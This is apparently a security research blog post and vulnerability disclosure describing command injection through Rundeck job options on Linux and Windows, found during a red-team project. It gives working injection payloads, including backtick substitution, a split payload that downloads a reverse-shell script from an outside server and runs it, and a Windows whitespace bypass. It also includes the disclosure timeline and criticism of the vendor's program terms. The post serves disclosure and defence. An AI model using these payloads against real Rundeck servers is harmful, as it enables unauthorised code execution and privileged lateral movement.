During a red-teaming-style customer project, we managed to get access to an Rundeck API token. Rundeck is a job scheduler and runbook automation platform designed to automate routine IT tasks across multiple systems. At first, we were excited about this API token because if we could create new Rundeck jobs, we could execute arbitrary code on the Rundeck nodes and move laterally from there. However, it turned out that with this token we only had permissions to run existing jobs.
This blog post will look at multiple command injections we found in Rundeck. First, we will examine jobs running on Rundeck Linux servers — both those with a single parameter and those with multiple parameters. Afterward, we will do the same for Rundeck Windows servers.
Back to the project. After finding the token, we started looking for jobs we could execute. We found a job that looked similar to this.
$ curl -H "X-Rundeck-Auth-Token: $(cat .rundeck_token)" http://rundeck-target:4440/api/18/job/8f5e27bf-ec1d-4ef7-a82d-1fd6201c677a
[ {
[..]
"name" : "Test-Job-Command",
"nodeFilterEditable" : false,
"options" : [ {
"name" : "option1"
} ],
[..]
"sequence" : {
"commands" : [ {
"exec" : "echo ${option.option1}"
} ],
"keepgoing" : false,
"strategy" : "node-first"
},
"uuid" : "8f5e27bf-ec1d-4ef7-a82d-1fd6201c677a"
} ]This job uses
job options, has a
parameter called option1, and executes the command echo ${option.option1}.
According to the
documentation,
the content of these options should get escaped before the command gets
executed. Nevertheless, we tried injecting commands and ran the job multiple
times with parameters like option1=1; whoami, option1=1 & whoami, and
option1=$(whoami). Unfortunately, everything seemed to get escaped correctly.
But then finally, when we tried option1=`whoami`, the whoami command got
executed. Backticks didn’t seem to get escaped. Great!
Next, we tried to execute an actual payload and download a reverse shell from
the node. So we started another job with
option1=`wget ernw-controlled-server.de/reverse-shell.sh`. But this time,
the command was escaped. After some trial and error, we realized that white
spaces caused the option parameter to be escaped. We tried multiple bypasses
like option1=`IFS=_;command='ls_-l';$command`, but nothing worked.
It was time to look at the source code. As assumed, we found that options that contain white spaces get quoted before being passed on to the command. We also discovered which characters get escaped, which explained why our bypass attempts were not successful:
public static final String UNIX_SHELL_CHARS = "\"';{}()&$\\|*?><";
Unfortunately, we were not able to find a way to bypass the quoting of parameters containing whitespace. So we went one step back and had a second look at the available jobs we were able to execute. Lo and behold, we found a job similar to the following job:
$ curl -H "X-Rundeck-Auth-Token: $(cat .rundeck_token)" http://rundeck-target:4440/api/18/job/480e6c39-5a30-47cc-8bb5-eb69d0592042
[ {
[..]
"name" : "Test-Job-Command-Two-Params",
"nodeFilterEditable" : false,
"options" : [ {
"name" : "option1"
}, {
"name" : "option2"
} ],
[..]
"sequence" : {
"commands" : [ {
"exec" : "cp ${option.option1} ${option.option2}"
} ],
"keepgoing" : false,
"strategy" : "node-first"
},
"uuid" : "480e6c39-5a30-47cc-8bb5-eb69d0592042"
} ]This job passes two options to the command that gets executed. And there are
white spaces between these parameters! So we split the payload into two parts:
option1=`wget and ernw-controlled-server.de/reverse-shell.sh`. And it
worked! Finally, we executed the script by splitting a second payload:
option1=`bash and option2=./script.sh` and were successful! We had
compromised the Rundeck node on which this job was executed. And it was a real
jackpot: the Rundeck user, which we took over, was allowed to run commands with
root privileges on basically any system in the network because some Rundeck jobs
were used to distribute updates to the systems.
Further Research
Upon further research after the project, we realized the following two things.
First, Rundeck jobs that run bash scripts (instead of commands) are also
affected. If job options are inserted into scripts using the syntax
@option.option1@, as suggested in the
documentation,
they should get quoted before getting inserted into the script. However, it was
possible to inject arbitrary commands, for example, by using command
substitution with $(command) or `command`. In this case, injecting
commands containing white spaces without any bypass was also possible.
Second, while looking at the source code, another thing grabbed our attention.
public static Converter<String, String> characterEscapeForOperatingSystem(String type) {
Converter<String, String> defaultConverter = UNIX_SHELL_ESCAPE;
if ("unix".equalsIgnoreCase(type)) {
return UNIX_SHELL_ESCAPE;
//TODO: windows
} else {
return defaultConverter;
}
}There is no specific escaping for Windows servers: //TODO: windows. So we also
set up a Rundeck server on Windows and tried to inject commands.
For jobs using a batch script and inserting options with the @option.option1@
syntax, we could inject commands without any restrictions, just as on Linux.
All shell special characters could be used for jobs that run commands and insert
options with the ${option.option1} syntax. Still, we encountered the same
problem as on Linux: parameters containing white spaces got escaped. After some
research, we found this cool bypass on the internet: %PROGRAMFILES:~10,-5%.
This uses the PROGRAMFILES environmental variable which resolves to
C:\Program Files and transforms it to only the white spaces between Program
and Files via substring expansion. This way, we could inject arbitrary
commands into jobs using only one parameter.
Affected Versions
We identified this vulnerability in
Rundeck 5.8.0.
We used the Docker image rundeck/rundeck:5.8.0 to verify and research the
vulnerabilities on Linux. On Windows, the release rundeck-5.8.0-20241205.war
has been used.
Before we published this blog post, we verified that the vulnerability is still
present in version 5.11.1.
Disclosure Timeline
- February 04, 2025: Initial contact attempt by ERNW via Mail stating it cannot accept the terms and conditions of HackerOne .
- February 10, 2025: Contact attempt by ERNW.
- February 11, 2025: Contact attempt by ERNW.
- February 11, 2025: PagerDuty Security Team states only reports via HackerOne are accepted.
- February 12, 2025: ERNW states it cannot accept the terms and conditions.
- February 14, 2025: Contact attempt by ERNW.
- February 26, 2025: Contact attempt by ERNW.
- March 04, 2025: Contact attempt by ERNW.
- March 27, 2025: Contact attempt by ERNW.
- May 05, 2025: Contact attempt by ERNW stating that the disclosure timeline is exceeded. Public Disclosure by ERNW.
Considerations on HackerOne’s & PagerDuty’s Disclosure Program Guidelines
Before publishing this research, we made multiple attempts to disclose the identified vulnerabilities responsibly. This included direct outreach to the vendor via various channels, including email. While we initially received a single reply directing us to the official vulnerability disclosure program, all subsequent follow-ups went unanswered.
Unfortunately, after carefully reviewing the vendor’s disclosure program terms, we determined that participation was not possible under the given conditions. Specifically, the program imposes strict restrictions on public communication — even post-remediation — unless the vendor grants explicit consent. Additionally, while a nominal 30-day disclosure timeline is stated, the vendor can unilaterally and indefinitely extend this period with no guaranteed resolution pathway.
Moreover, the program’s legal framework provides limited Safe Harbor protections. These are conditional on perfect compliance with all stated rules, leaving researchers potentially exposed in cases involving ambiguous scope boundaries or good-faith testing errors.
Given the combination of these terms, we could not proceed through the official channel in good conscience. Therefore, this publication results from an independent and responsible decision to prioritize transparency, public interest, and the broader security community.
Cheers!
Flo & Julian